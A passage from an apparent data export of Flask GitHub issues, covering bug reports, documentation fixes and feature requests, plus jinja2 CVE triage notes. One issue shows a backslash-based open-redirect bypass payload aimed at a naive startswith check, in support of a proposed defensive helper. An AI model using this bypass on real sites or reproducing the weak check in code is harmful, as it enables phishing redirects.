| [CVE-2025-27516](https://nvd.nist.gov/vuln/detail/CVE-2025-27516) | `jinja2` | 3.1.2 | 3.1.6 | HIGH | 8.8 | 0.21% |
| [CVE-2024-56201](https://nvd.nist.gov/vuln/detail/CVE-2024-56201) | `jinja2` | 3.1.2 | 3.1.5 | HIGH | 8.8 | 0.46% |
| [CVE-2024-56326](https://nvd.nist.gov/vuln/detail/CVE-2024-56326) | `jinja2` | 3.1.2 | 3.1.5 | HIGH | 7.8 | 0.34% |

<details>
<summary>Detailed analysis</summary>

### CVE-2025-27516 — `jinja2@3.1.2`

**Jinja2 vulnerable to sandbox breakout through attr filter selecting format method**

> Jinja is an extensible templating engine. Prior to 3.1.6, an oversight in how the Jinja sandboxed environment interacts with the |attr filter allows an attacker that controls the content of a template to execute arbitrary Python code. To exploit the vulnerability, an attacker needs to control the co...

- **Priority:** HIGH
- **Recommended action:** SCHEDULE PATCH
- **Reasoning:** CVSS 8.8 indicates high severity with sandbox escape potential allowing arbitrary code execution. However, EPSS 0.00214 shows very low exploitation probability in the wild, and exploitation requires attacker control of template content. Not KEV-listed. The Medium scanner severity appears to underestimate the impact give... [TRUNCATED]",,2026-04-04T01:07:05Z,2026-04-04T01:08:06Z,1
pallets/flask,4155980401,fix: celery task result endpoint crashes on task failure,"## Description

When a Celery task fails, `result.ready()` evaluates to `True` but `result.successful()` is `False`. 
Calling `result.get()` without `propagate=False` on a failed task will re-raise the task's exception, causing the Flask endpoint to crash with a 500 Internal Server Error instead of returning the task's failed status. 
Additionally, if `result.result` is an Exception object, returning it directly in the dictionary will cause a `TypeError` during JSON serialization.


**Severity**: `medium`
**File**: `examples/celery/src/task_app/views.py`

## Expected Behavior

The code should handle this case properly to avoid unexpected errors or degraded quality.",,2026-03-27T21:19:28Z,2026-03-27T21:21:38Z,1
pallets/flask,4126162553,Flask 3.1.3 test (`test_environ_for_valid_idna_completes`) breaks after Werkzeug update from 3.1.6 to 3.1.7,"Flask 3.1.3 test (`test_environ_for_valid_idna_completes`) breaks after Werkzeug update from 3.1.6 to 3.1.7.

To replicate the bug you just need to run testsuite:
```
$ python3 -m pytest -vra

<...>

=================================== FAILURES ===================================
____________________ test_environ_for_valid_idna_completes _____________________

    def test_environ_for_valid_idna_completes():
        app = flask.Flask(__name__)

        @app.route(""/"")
        def index():
            return ""Hello World!""

        from flask.testing import EnvironBuilder

        builder = EnvironBuilder(app)
        environ = builder.get_environ()

        # these characters are all IDNA-compatible
        environ[""HTTP_HOST""] = ""ąśźäüжŠßя.com""

        with app.request_context(environ):
            response = app.full_dispatch_request()

>       assert response.status_code == 200
E       assert 400 == 200
E        +  where 400 = <Response streamed [400 BAD REQUEST]>.status_code

tests/test_reqctx.py:314: AssertionError
=========================== short test summary info ============================
FAILED tests/test_reqctx.py::test_environ_for_valid_idna_completes - assert 4...
```

Environment:

- Python version: 3.13.12
- Flask version: 3.1.3
- Werkzeug version: 3.1.7
",,2026-03-24T08:38:52Z,2026-03-24T13:55:59Z,4
pallets/flask,4076432817,docs: Missing Redis setup instructions in Celery example README,"## Description

The `examples/celery/README.md` does not mention that **Redis is required** 
as a message broker for Celery to work. A beginner following the instructions 
will successfully start the Celery worker but immediately see repeated 
connection errors like:
```
ERROR/MainProcess] consumer: Cannot connect to redis://localhost:6379//: 
Error 111 connecting to localhost:6379. Connection refused..
Trying again in 2.00 seconds... (1/100)
```

This is confusing because nothing in the README warns about this dependency.

## Steps to Reproduce

1. Follow the README instructions exactly
2. Run `celery -A make_celery worker --loglevel INFO`
3. Celery starts but immediately fails trying to connect to Redis
4. Nothing in the README explains why or how to fix it

## Expected Behavior

The README should mention that Redis is required and provide 
setup instructions for it.

## Proposed Fix

Add the following before the `celery` run command in `README.md`:
```rst
Celery requires a message broker. Install and start Redis before 
running the worker:

$ sudo apt install redis-server   # Debian/Ubuntu
$ sudo service redis start

# Verify Redis is running:
$ redis-cli ping
# Expected output: PONG
```

## Environment

- OS: Ubuntu / Debian (Linux)
- Flask version: latest (main branch)
- Celery version: 5.6.2

## Additional Notes

This is a documentation-only change with no impact on code. 
It improves the onboarding experience for beginners on 
Debian/Ubuntu systems, which are the most ... [TRUNCATED]",,2026-03-14T18:30:45Z,2026-03-16T18:59:21Z,0
pallets/flask,4035256126,flask run should support pep723,"Because no one wants to use:

native pkgutil-style, declarative, non-declarative, setup.py, setup.cfg, pyproject.toml, pep517, setuptools, build, pip, namespace packages,  normal packages, pkg-util namespace package

You name it because I won't.

Having `flask run` or any such primitive commands to allow running a flask application would make the entire process go from a 2 weeks pip marathon to a 10 minutes max of relaxing time where it just works magically.


",,2026-03-06T17:11:48Z,2026-03-06T19:50:53Z,4
pallets/flask,3980888493,Clarify recommended debug workflow in Quickstart documentation,"While reviewing the Quickstart documentation (https://flask.palletsprojects.com/en/stable/quickstart/#debug-mode), I noticed that debug mode is discussed but the distinction between using `app.run(debug=True)` and the recommended `flask run --debug` CLI flag is not clearly emphasized.

Many external tutorials still reference `app.run(debug=True)`, and new users may not understand when to use the CLI flag versus enabling debug mode directly in application code.

It may be helpful to clarify:

- That `flask run --debug` is the recommended development workflow
- When `app.run(debug=True)` is appropriate
- Why separating debug configuration from application code is considered best practice",,2026-02-24T00:54:46Z,2026-02-24T00:57:37Z,1
pallets/flask,3972836402,"[Security] Default session HMAC digest should be SHA-256, not SHA-1","## Summary

Flask's `SecureCookieSessionInterface` uses SHA-1 as the default HMAC digest for signing session cookies. SHA-1 has been deprecated by NIST (since 2011) and is no longer recommended for cryptographic use.

## Location

`src/flask/sessions.py`, line 293:

```python
digest_method = staticmethod(_lazy_sha1)
",,2026-02-21T21:16:02Z,2026-02-21T21:27:24Z,0
pallets/flask,3972254400,Add a built-in is_safe_redirect() helper to handle browser URL normalization (backslash → forward slash),"Modern browsers normalize backslashes in navigation URLs (e.g., `\\evil.com`) into forward slashes (`//evil.com`). This creates a discrepancy between how Flask/Werkzeug evaluates redirect targets and how user agents ultimately interpret them.

A common pattern used by Flask developers to prevent protocol-relative redirects is:

```python
if not url.startswith(""//""):
    return redirect(url)
```

However, the following payload bypasses this logic:

```
\\evil.com
```

Flask/Werkzeug evaluates this as a safe relative path (`startswith(""//"") == False`), while browsers normalize it to:

```
https://evil.com
```

and perform an external redirect. This normalization behavior is consistent across Chrome, Firefox, and Safari.

As Flask does not provide a built-in redirect validation helper, developers routinely implement ad-hoc string checks that do not account for browser normalization rules, resulting in an ecosystem-wide class of open-redirect flaws.

**Feature Request**

Introduce an official, browser-aware redirect safety utility in Flask or Werkzeug, similar to Django’s `is_safe_url`, to standardize redirect validation across the framework. The helper should:

1. Normalize backslashes to forward slashes before validation.
2. Reject protocol-relative URLs (`//example.com`).
3. Optionally enforce allowed host checks.
4. Provide a documented, recommended pattern for safe redirects.

**Rationale**

- This issue is not a flaw in Flask’s redirect implementation but a recurring securi... [TRUNCATED]",,2026-02-21T15:52:17Z,2026-02-21T17:55:11Z,1
pallets/flask,3971852986,Add configurable JSON parsing limits and preprocessing hook,"Description
Flask currently parses JSON input using json.loads() without providing an application-level mechanism to enforce payload size limits or preprocess raw JSON before deserialization.
This feature would introduce configuration settings such as:
•⁠  ⁠JSON_MAX_STRING_LENGTH – to reject JSON payloads exceeding a defined size before parsing.
•⁠  ⁠JSON_PREPROCESS_RAW – to allow an optional callable to preprocess raw JSON text before json.loads() is executed.

Example of the Problem This Would Resolve
If a client sends a very large JSON payload (for example, 15–20MB), Flask will attempt to parse it entirely in memory. This can lead to unnecessary memory consumption and CPU usage, especially in API-heavy environments. While infrastructure-level limits (e.g., reverse proxies) may mitigate this, application-level safeguards provide defense-in-depth and improve reliability.
Currently, this problem can only be addressed by subclassing JSONProvider, overriding loads(), or modifying framework internals. Providing built-in configuration support would make it easier to enforce consistent JSON parsing policies without custom framework patches.",,2026-02-21T11:08:31Z,2026-02-21T15:04:40Z,2
pallets/flask,3971741827,.,.,,2026-02-21T09:35:57Z,2026-02-21T09:36:23Z,0
pallets/flask,3935874237,llm junk,LLM junk removed,,2026-02-13T07:54:34Z,2026-02-13T08:00:30Z,1
pallets/flask,3933890523,`provide_automatic_options` is weird,"While dealing with trying to detect duplicate routes in https://github.com/pallets/werkzeug/issues/3105, I ran into an issue with Flask, which adds `OPTIONS` to every single rule by default.

I started looking into Flask's `provide_automatic_options` feature, and it's just weird.

- Why is there a `PROVIDE_AUTOMATIC_OPTIONS` config? What benefit is there to turning `OPTIONS` off at all, let alone configuring it for a given deployment.
- Flask adds `OPTIONS` to every route, then has a check that runs on dispatching _every_ request to see if the method was `OPTIONS` and `provide_automatic_options` was enabled for the rule. Performing this check for every request seems wasteful, as opposed to adding an actual rule and endpoint so that the routing that's already happening handles it.
    - But adding a rule is also sort of bad, as it results in a bunch of duplicate rules since Flask has no way to know what other rules have already been added. This can be caught with Werkzeug 3.2, and doesn't cause problems in earlier versions, but it's still annoying.
- `provide_automatic_options` can be set as an attribute on the view function. There are some other attributes that are barely documented as well, such as `required_methods`. This is presumably mostly for `View` classes, but works on functions too, making type annotations unhelpful.
- If `PROVIDE_AUTOMATIC_OPTIONS` is disabled (not the default), the logic for the `provide_automatic_options` argument and attribute doesn't work correc... [TRUNCATED]",,2026-02-12T20:32:21Z,2026-02-12T21:07:52Z,1
pallets/flask,3928944031,Support for all methods in @app.route,"By default, `@app.route` sets `methods` to support only `GET` requests and the [documentation](https://flask.palletsprojects.com/en/stable/api/#flask.Flask.route) suggests that the parameters are then passed to `Rule`, where `methods=None` allows all methods to be used. In reality, even explicit `None` is treated as a default value and gets overwritten by `[""GET""]`. I suggest adding a way to allow all methods by explicitly passing `None`.

This feature would allow more direct control over `Rule` parameters when using `@app.route`, only using defaults when no value was provided. It is currently possible to work around the issue by creating the `Rule` directly, but it would be more convinient to have that option with `@app.route` decorators. It would also remove some confusion, as `None` being treated the same way as no value by `@app.route` while having a special meaning in `Rule` seems like a bug.",,2026-02-11T22:24:21Z,2026-02-11T22:47:07Z,2
pallets/flask,3913760490,Config.from_file() missing ENOTDIR in silent error handling,"## Description

`Config.from_file()` is missing `errno.ENOTDIR` in its silent error handling, while `Config.from_pyfile()` correctly includes it.

In `from_pyfile` (line ~193):
```python
if silent and e.errno in (errno.ENOENT, errno.EISDIR, errno.ENOTDIR):
```

In `from_file` (line ~239):
```python
if silent and e.errno in (errno.ENOENT, errno.EISDIR):
```

The `ENOTDIR` case was added to `from_pyfile` in PR #2581 (fixing issue #2545), but the fix was never applied to `from_json` (now `from_file`), even though the original issue title mentioned ""from_json, etc.""

## Reproduction

When a component of the config file path is a regular file rather than a directory (e.g., `~/.myapp` is a file, and you try to load `~/.myapp/config.toml`), `from_file()` with `silent=True` raises `OSError` with `errno.ENOTDIR` instead of silently returning `False`.

```python
import flask
import tomllib

app = flask.Flask(__name__)
# If ~/.myapp is a regular file, this raises instead of returning False
app.config.from_file(""~/.myapp/config.toml"", load=tomllib.load, text=False, silent=True)
```

## Expected Behavior

`from_file(..., silent=True)` should return `False` when a path component is not a directory, matching the behavior of `from_pyfile(..., silent=True)`.

## Environment

- Flask version: 3.1.x / main branch",,2026-02-08T23:01:53Z,2026-02-09T03:59:02Z,0
pallets/flask,3880067115,Internal refactor: simplify response tuple unpacking in make_response in app.py,"This is an internal, non-user-facing refactor.

The `make_response` method currently contains inline logic to unpack
response tuples with different valid shapes. While this logic is correct,
it is dense and increases cognitive load in an already large method.

Refactoring this logic into a small private helper would improve
readability and long-term maintainability without changing behavior.

The current tuple unpacking logic handles multiple valid forms
((body, status, headers), (body, status), (body, headers)) inline inside
`make_response`. This makes the control flow harder to follow and
duplicates validation responsibilities within the method.

This is not easily improved via subclassing or extensions, as the logic
is internal to Flask's response handling. A small internal refactor would
isolate this responsibility and make future maintenance safer.
",,2026-01-31T20:50:02Z,2026-01-31T21:17:45Z,0
pallets/flask,3856206368,Improve alt text for Debug Mode interactive debugger image (accessibility),"
In the Flask documentation section [“Debug Mode”](https://flask.palletsprojects.com/en/stable/quickstart/#debug-mode), there is an image demonstrating the interactive debugger with the following markup:
```
<img alt=""The interactive debugger in action.""
     class=""screenshot align-center""
     src=""../_images/debugger.png"">  
```
The alt text is very generic and does not clearly describe the content or purpose of the image.
For users who rely on screen readers, the current alt text does not convey that this is a Flask error page shown in the browser
This makes the documentation less accessible for users with visual impairments and does not fully meet the intent of WCAG 1.1.1 (Non-text Content)

**Suggested improvement**
Replace the existing alt text with something more descriptive, for example:
“Flask debug mode error page showing a Python traceback and an interactive debugger panel in the browser",,2026-01-26T14:27:03Z,2026-01-26T15:20:29Z,1
pallets/flask,3854501536,Flask's blueprint's render templates rendering another blueprint's folder's html file !!!,"I was learning Flask & Web Application making.
I am getting the problem when i am return the render templates of a html file  in blueprint i am getting another blueprint's html file. 
I am sharing the screenshots here below and say what is the problem here.

<img width=""1366"" height=""768"" alt=""Image"" src=""https://github.com/user-attachments/assets/1eeb056a-b53a-434b-ae46-e7e7712a448f"" />
See here in the render template at line 33, i wish it will render the `checking.html` file which is present in the `general_bp`'s folder.

<img width=""1366"" height=""768"" alt=""Image"" src=""https://github.com/user-attachments/assets/f5e491bc-b5b0-43f5-aa9a-0517197f2e79"" />

<img width=""1366"" height=""768"" alt=""Image"" src=""https://github.com/user-attachments/assets/1dd4ac18-26d5-4f9f-b587-a6f7256c60a1"" />

See here is the two `checking.html` file in different folder, but as i send the first image which should render the checking.html in the `general` folder it is rendering the `auth/checking.html` file.

<img width=""1366"" height=""768"" alt=""Image"" src=""https://github.com/user-attachments/assets/ad73f9b2-7e6e-4a9f-859d-6ead96b846eb"" />
As you see when i open the `/checking` route it is always giving the `auth>checking.html` file.

I am not understanding why this is happening. is this any problem or i make any mistake here which cause the problem. Or anything i am doing wrong when i am in the `routes.py` file

what the wrong, maybe in different blueprint's folder i have same file name so why it is ta... [TRUNCATED]",,2026-01-26T04:48:05Z,2026-01-26T04:51:33Z,2
pallets/flask,3851904746,package detection fails with namespace package in editable mode,"Given a package which uses namespace packaging and has been installed using ""editable installs"", Flask's scaffold (specifically `_find_package_path`) will error if the name passed to `Flask(...)` is the package name rather than a sub-module.

This affects cases where the name is the name of the package (and thus potentially not actually the `__name__`) though also happens when using `__name__` and the app is defined within a `__init__.py` in the root of the namespaced package.

Notably the issue only appears when importing the app elsewhere -- running from a python process launched at the parent of the namespace package tree hides this.

Example project:
```
├── flask-app
│   ├── setup.py
│   └── sr
│       ├── comp
│       │   ├── http
│       │   │   ├── __init__.py
│       │   └── __init__.pyi
│       └── __init__.pyi
└── run.py
```
The `__init__.pyi` files are empty and shouldn't be needed, however are present in my original project as typing markers.

```python
# run.py
print("""")
print(""run.py"")
print("""")

from sr.comp.http import app

print("""")
print(""/run.py"")
print("""")
```
```python
# flask-app/sr/comp/http/__init__.py
from flask import Flask

print(""app = Flask(__name__)"")
app = Flask(__name__)  # reproduces when defined in __init__.py

print(""app = Flask('sr.comp.http')"")
app = Flask(""sr.comp.http"")  # reproduces when defined in e.g: server.py and `app` is re-exported via __init__.py
# this latter case was my original case

@app.route(""/"")
def hello():
    return ""H... [TRUNCATED]",,2026-01-24T19:34:47Z,2026-01-26T05:03:12Z,5
pallets/flask,3845279007,change default redirect code to 303,"Flask and Werkzeug `redirect` currently defaults to a [302](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Status/302). Routing uses [307](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Status/307) since that preserves method consistently. We didn't change the `redirect` default to 307, since that would break the common pattern of ""GET form, POST form, redirect to GET result"", ending up doing ""POST result"" instead. [303](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Status/303) seems designed exactly for this pattern, so that a redirect always results in a GET, instead of preserving the method or only rewriting it sometimes. [HTMX actually calls this out about Flask.](https://hypermedia.systems/htmx-patterns/#:~:text=cleaner%2E-,A,resource)

I don't _think_ there would actually be a problem switching to 303 as the default. It would still do the expected thing for basic page redirects and form submission redirects. I would be really surprised if anyone was relying on the 302 behavior of only converting POST and nothing else. I don't even remember that being the behavior when we were switching to 307, and I would have switched to 303 instead of leaving 302 then if I had known about it.",,2026-01-23T00:11:40Z,2026-01-25T01:18:37Z,0
pallets/flask,3807561099,Add explicit support for async teardown_request handlers,"### Summary

At the moment, `teardown_request` handlers in Flask are synchronous and cannot be defined as async functions. This makes it harder for apps that depend on async cleanup logic (e.g., closing async DB connections or awaiting async tasks) to integrate cleanly with Flask’s request lifecycle.

### Problem

When users attempt to define an async teardown handler like:

```python
@app.teardown_request
async def cleanup_async_resources(response):
    await close_async_connections()
```

Flask does not await it and treats it as a regular function, leading to unawaited coroutine warnings and the async cleanup not running as intended.

### Proposed Solution
Make teardown handlers awaitable - if a handler is declared async, Flask should await it during the teardown phase.

### Example
```python
@app.teardown_request
async def cleanup_async_resources(response):
    await some_async_cleanup()  # should be awaited before response is finalized
```

### Motivation
Better async integration support as more frameworks and applications adopt async patterns. This would make Flask’s async support more complete and intuitive.

### Environment

```python
Flask version: (e.g., 3.2.x)
Python version: 3.9+
```

Async libs used: Any

### Thanks!",,2026-01-13T07:40:27Z,2026-01-13T15:05:06Z,1
pallets/flask,3782536274,asgiref fails with gevent patching,"When `gevent.monkey.patch_all()` is used, `async def` functions fail when multiple concurrent requests are sent. asgiref gives the error `RuntimeError: You cannot use AsyncToSync in the same thread as an async event loop - just await the async function directly.`. This suggests that somehow, gevent is causing a running loop to be visible across threads.

`example.py`:

```python
# /// script
# requires-python = ""~=3.14.0""
# dependencies = [
#     ""flask[async]"",
#     ""gevent"",
# ]
#
# [tool.uv]
# exclude-newer = ""2026-01-05T00:00:00Z""
#
# [tool.uv.sources]
# flask = { path = ""."", editable = true }
# ///

import gevent.monkey
gevent.monkey.patch_all()

import asyncio

from flask import Flask

app = Flask(__name__)

@app.get(""/"")
async def hello_world():
    await asyncio.sleep(0.5)
    return f""Hello, World!""
```

```
uv run --with-requirements example.py flask -A example.py run
```

`load.py`:

```python
# /// script
# requires-python = ""~=3.14.0""
# dependencies = [
#     ""httpx"",
# ]
#
# [tool.uv]
# exclude-newer = ""2026-01-05""
# ///

import asyncio
import httpx

async def get(i, client: httpx.AsyncClient):
    r = await client.get(""http://127.0.0.1:5000"")
    print(i, await r.aread())

async def main():
    async with httpx.AsyncClient() as client, asyncio.TaskGroup() as group:
        for i in range(50):
            group.create_task(get(i, client))

asyncio.run(main())
```

```
uv run load.py
```

Continues #5817 with more details.",docs,2026-01-05T18:52:04Z,2026-01-25T18:36:51Z,16
pallets/flask,3760584280,Teardown handler chain exception handling,"Flask executes registered teardown handlers (used for closing DB connections, releasing locks, etc.) in a chain. The do_teardown_request method which is supposed to make these teardown requests does not wrap individual handlers in a try/except block. If one handler raises an exception, the loop terminates immediately, and all subsequent handlers are skipped, this can lead to the application to skip critical cleanup routines if a non critical one fails.

Sample reproduction code
```python
import threading
import time
import requests
from flask import Flask

app = Flask(__name__)

#a simulation of a limited resource pool
mock_db_connections = 0

@app.route('/')
def index():
    global mock_db_connections
    mock_db_connections = mock_db_connections + 1
    return ""Request Processed""

#simulating a critical teardown handler which is supposed to free resources from the db
@app.teardown_request
def critical_db_close(exc):
    global mock_db_connections
    mock_db_connections = mock_db_connections - 1

#teardown handler which can crash
@app.teardown_request
def buggy_extension(exc):
    raise Exception(""Crash in buggy extension!"")

def run_server():
    #just for clearner output
    import logging
    log = logging.getLogger('werkzeug')
    log.setLevel(logging.ERROR)
    app.logger.disabled = True
    
    app.run(port=5000, threaded=True)

def verify_bug():
    
    print(f""Initial DB Connections: {mock_db_connections}"")
    
    try:
        requests.get('http://127.0.0.1:5000... [TRUNCATED]",,2025-12-24T15:27:55Z,2025-12-24T16:01:34Z,1
pallets/flask,3731216047,Modern CSRF Protection Using `Sec-Fetch-Site` Header,"Flask's documentation states that CSRF protection requires a form validation framework (which Flask doesn't provide), necessitating one-time tokens stored in cookies and transmitted with form data. However, modern browsers now support `Sec-Fetch-Site` headers, making token-based CSRF protection unnecessary. Rails just merged this approach in [rails/rails#56350](https://github.com/rails/rails/pull/56350). Flask should offer a similar modern solution—but in a more Flask-like way: as a simple argument to `@app.route()`.

## Current State

From Flask's security documentation:

> ""Why does Flask not do that for you? The ideal place for this to happen is the form validation framework, which does not exist in Flask.""

This was written when CSRF tokens were the only viable protection mechanism. That's no longer true. And with header-based protection, no form validation framework is needed—just a simple check before dispatching to the view.

## The Modern Approach

The `Sec-Fetch-Site` header is a [Fetch Metadata Request Header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Sec-Fetch-Site) that modern browsers send automatically. It indicates the relationship between the request origin and the target origin:

- `same-origin`: Request from the same origin (same scheme, host, and port)
- `same-site`: Request from the same site but different origin
- `cross-site`: Request from a completely different site
- `none`: User-initiated navigation (typing URL, bookmark, etc.)

For st... [TRUNCATED]",,2025-12-15T16:29:24Z,2025-12-17T15:35:42Z,6
pallets/flask,3725801628,Proposal: CLI command to validate API endpoints by making test requests,"### Motivation

When working on Flask applications with many API endpoints, it is sometimes
useful to quickly check whether all registered routes can be accessed without
raising unexpected errors (e.g. unhandled exceptions, 500 errors).

At the moment, developers typically need to write custom scripts or tests to
perform this kind of basic validation. Providing an opt-in CLI command could
help improve developer experience, especially during local development.

### Proposal

Introduce an optional Flask CLI command (for example, `flask check-endpoints`)
that iterates over registered routes and makes test requests using Flask’s
test client.

The goal would not be full correctness testing, but a lightweight sanity check
to detect obvious runtime errors.

Possible initial scope:
- Only routes with simple methods (e.g. GET by default)
- Skip routes with required path parameters
- Report endpoints that raise exceptions or return 5xx responses
- Development-only usage

### Design considerations

- The command should be fully opt-in and not affect existing behavior.
- No network requests; use Flask’s built-in test client.
- Keep output simple and readable (similar to `flask routes`).
- Advanced features (custom payloads, auth, etc.) could be out of scope initially.

### Open questions

- Should this live as a core CLI command or as an optional extension?
- How should endpoints with required parameters or authentication be handled?
- Should the command fail on the first error or report... [TRUNCATED]",,2025-12-13T10:43:23Z,2025-12-13T11:09:29Z,3
pallets/flask,3650788617,Add Copy-to-Clipboard button for code examples in documentation,"### Feature Request: Add copy button to code blocks in documentation

#### Problem

Many pages in the Flask documentation contain multi-line code snippets, but there is no built-in way to copy the entire block with one click. Users currently need to manually select text, which is slower and error-prone.

#### Proposed Solution

Add a small ""Copy"" button to each `div.highlight` element using a small JavaScript file included via Sphinx.

- Implemented using the native Clipboard API (no external library)
- Minimal UI impact
- Applied only to docs frontend, not core package

#### Motivation & Benefits

- Easier copy-paste for beginners following tutorials
- Consistent with other frameworks (FastAPI, Django, Click docs, etc.)
- Improves developer experience without affecting core Flask code

#### Status

I have already implemented a working version locally and can submit a PR once approved.

Let me know if this is useful and if I should proceed with a pull request.
",,2025-11-21T08:56:06Z,2025-11-21T15:59:10Z,0
pallets/flask,3641367090,Add copy-to-clipboard button for code blocks in Flask documentation.,"### Description

I propose to add a ""copy to clipboard"" button next to all code blocks in the Flask documentation. This will allow users to easily copy example code or command-line snippets with a single click instead of manually selecting the text. This feature greatly improves usability and convenience, especially on mobile devices.

Flask documentation uses Sphinx for static site generation, and there is an existing Sphinx extension called [sphinx-copybutton](https://sphinx-copybutton.readthedocs.io/en/latest/) that provides this functionality out of the box. It can be enabled by simply adding it to the `extensions` list in the Sphinx `conf.py` file.


This extension also supports stripping common prompts (like `>>>`, `$`) from copied content, making the copied snippets cleaner.

### Problem this resolves

Currently, users have to manually select and copy code blocks, which can be error-prone and inconvenient. Adding a copy button makes the process faster and less error-prone.

### Additional notes

- The change is additive and does not affect existing documentation content or structure.
- This enhancement aligns Flask docs with modern documentation practices seen in many popular projects.

I am happy to implement this feature and create a pull request once the issue is approved.

",,2025-11-19T07:09:10Z,2025-11-19T14:30:56Z,0
pallets/flask,3572589158,"Really, I can't close connection???","Jesus Christ, what kind of library doesn’t allow forcefully closing a connection? Even after returning or using abort, it still continues to process data in the background. This is disappointing, there’s no way, for example, to forcefully stop a file upload after checking its header. It will still continue to process the remaining 100 GB of the file.

```
@app.route('/upload', methods=['POST'])
def upload_file():
    print(1)
    return ""wtf"", 400 # still continues to process data
```",,2025-10-30T21:35:46Z,2025-10-30T22:31:35Z,4
pallets/flask,3552937053,Test failures with click 8.3.1,"Click 8.3.1 was [tagged](https://github.com/pallets/click/releases/tag/8.3.1) but not released on PyPI. Running flask's test suite with that version results in
```
============================= test session starts ==============================
platform linux -- Python 3.13.8, pytest-8.4.2, pluggy-1.6.0
rootdir: /build/flask-3.1.2
configfile: pyproject.toml
testpaths: tests
collected 490 items                                                            

tests/test_appctx.py ..............                                      [  2%]
tests/test_async.py ........                                             [  4%]
tests/test_basic.py .................................................... [ 15%]
........................................................................ [ 29%]
......                                                                   [ 31%]
tests/test_blueprints.py ............................................... [ 40%]
.............                                                            [ 43%]
tests/test_cli.py ...................................................F.. [ 54%]
...F                                                                     [ 55%]
tests/test_config.py ...................                                 [ 58%]
tests/test_converters.py ..                                              [ 59%]
tests/test_helpers.py ...................................                [ 66%]
tests/test_instance_config.py .......                                    [ 67%]
te... [TRUNCATED]",,2025-10-25T20:08:38Z,2025-11-10T19:18:28Z,8
pallets/flask,3492022759,Document 415 on the receiving json section,"Documentation on ""json"" request throwing a 415 as well as 400.  

The problem text is on https://flask.palletsprojects.com/en/stable/patterns/javascript/#receiving-json-in-views

> Receiving JSON in Views
> 
> Use the [json](https://flask.palletsprojects.com/en/stable/api/#flask.Request.json) property of the [request](https://flask.palletsprojects.com/en/stable/api/#flask.request) object to decode the request’s body as JSON. If the body is not valid JSON, or the Content-Type header is not set to application/json, a 400 Bad Request error will be raised

I believe you want to indicate that it's a 415 instead of 400 when the Content-Type header doesn't match as it's done on https://flask.palletsprojects.com/en/stable/api/#flask.Request.json

400 is still valid for when the body isn't json (even though the content-type is json).

So maybe something like this ? 

> Receiving JSON in Views
>
> Use the [json](https://flask.palletsprojects.com/en/stable/api/#flask.Request.json) property of the [request](https://flask.palletsprojects.com/en/stable/api/#flask.request) object to decode the request’s body as JSON. If the body is not valid JSON, a 400 Bad Request error will be raised.  If the Content-Type header is not set to application/json, a 415 Unsupported Media Type error will be raised

Environment:

- Python version: N/A
- Flask version: latest doc



This is in no way a bug, but it's for being aligned everywhere in your doc :).  I'm just trying to make things better, I love the p... [TRUNCATED]",docs,2025-10-07T15:41:58Z,2026-01-25T03:02:15Z,4
pallets/flask,3437839283,Enrich Flask’s public API type hints using typing.Annotated with Doc metadata,"## Feature Request

### Summary

Enhance selected public Flask APIs (for example `add_url_rule` and `route`) by adding
`typing.Annotated` with `Doc` metadata **and `Literal` types for HTTP methods** to provide
richer IDE assistance and stronger static type checking.

### Example

```python
from typing import Annotated, Literal
from typing_extensions import Doc

# Strict HTTP method type for auto-complete and validation
Method = Literal[""GET"", ""POST"", ""PUT"", ""DELETE"", ""PATCH"", ""OPTIONS"", ""HEAD""]

def add_url_rule(
    rule: Annotated[str, Doc(""URL path such as '/home' or '/api/items/<int:id>'"")],
    *,
    methods: Annotated[list[Method], Doc(""Allowed HTTP methods, e.g. ['GET', 'POST']"")],
    ...
) -> None:
    ...
```

### Benefits

* **Better editor/IDE hints and documentation** for route paths and HTTP methods.
* **Static validation of HTTP verbs** so type checkers catch typos like `""GEET""`.
* **Backward compatible** with existing type checkers and runtime behavior (`typing_extensions.Annotated` and `Literal` are supported across Python versions Flask supports).

### Questions for Maintainers

* Would you accept `Annotated` + `Doc` and `Literal` types in public API signatures?
* If yes, should I begin with a small pilot (e.g., only `add_url_rule`) before expanding to other decorators such as `route`?
",,2025-09-21T05:31:27Z,2025-09-21T05:59:42Z,0
pallets/flask,3422081693,asyncio is not compatible with gevent,"See #5256

async-await: <https://flask.palletsprojects.com/en/stable/async-await/>

> Using async with greenlet
> When using gevent or eventlet to serve an application or patch the runtime, greenlet>=1.0 is required. When using PyPy, PyPy>=7.3.7 is required.

Flask uses asgiref, which is not compatible with gevent: <https://github.com/django/asgiref/issues/443>


BTW:
ASGI: <https://flask.palletsprojects.com/en/stable/deploying/asgi/>

> The asgiref [WsgiToAsgi](https://github.com/django/asgiref#wsgi-to-asgi-adapter) adapter is recommended as it integrates with the event loop used for Flask’s [Using async and await](https://flask.palletsprojects.com/en/stable/async-await/#async-await) support.

This makes it seem like the event loop integration means a single worker could process multiple requests concurently, which it can't, the worker will block on `await`.

---

I'm not the only one that found this the hard way: [Flask, Gunicorn, Gevent and Asyncio Don't Mix](https://github.com/moogah/flask-gunicorn-gevent-asyncio/blob/29be08051cd663fa68d982f27232d2a5215a399c/README.md)
",docs,2025-09-16T12:28:32Z,2026-01-05T18:57:14Z,8
pallets/flask,3415264936,deprecate `should_ignore_error`,"This was added in f1918093ac70d589a4d67af0d77140734c06c13d as part of the original code to keep the context around for use in the debugger, tests, etc. It was not part of a PR, and there's no linked issue or explanation on why it was added.

The intention seems to be to allow ignoring certain errors during debugging, so that cleanup is still run immediately. That's not how context preservation works anymore.  It also causes the exception to not be passed to teardown handlers, but there doesn't seem to be any reason to hide that, and handlers can already choose what to do if they're passed an error.

The method is only documented in the API, not in any other pages. There's no test for it. I have a feeling this isn't used. It results in an extra function call every single request, only to always return false. This can be deprecated then removed.",,2025-09-14T16:38:15Z,2026-01-25T03:53:13Z,4
pallets/flask,3413941939,pass context internally instead of using contextvars,"Currently, there are a bunch of different methods on the `Flask` class that run to dispatch each request. Many of these access `request` and other context proxies. We should update them to pass the `AppContext` everywhere instead. This is more convenient after #5812 with only one context object instead of two. As @pgjones pointed out in #5229, not having to access the contextvar is a significant speedup to ASGI Quart, although it doesn't appear to affect WSGI Flask as much. Perhaps if we were serving with greenlets and so contexts were switching more, it would be more noticeable in Flask too.

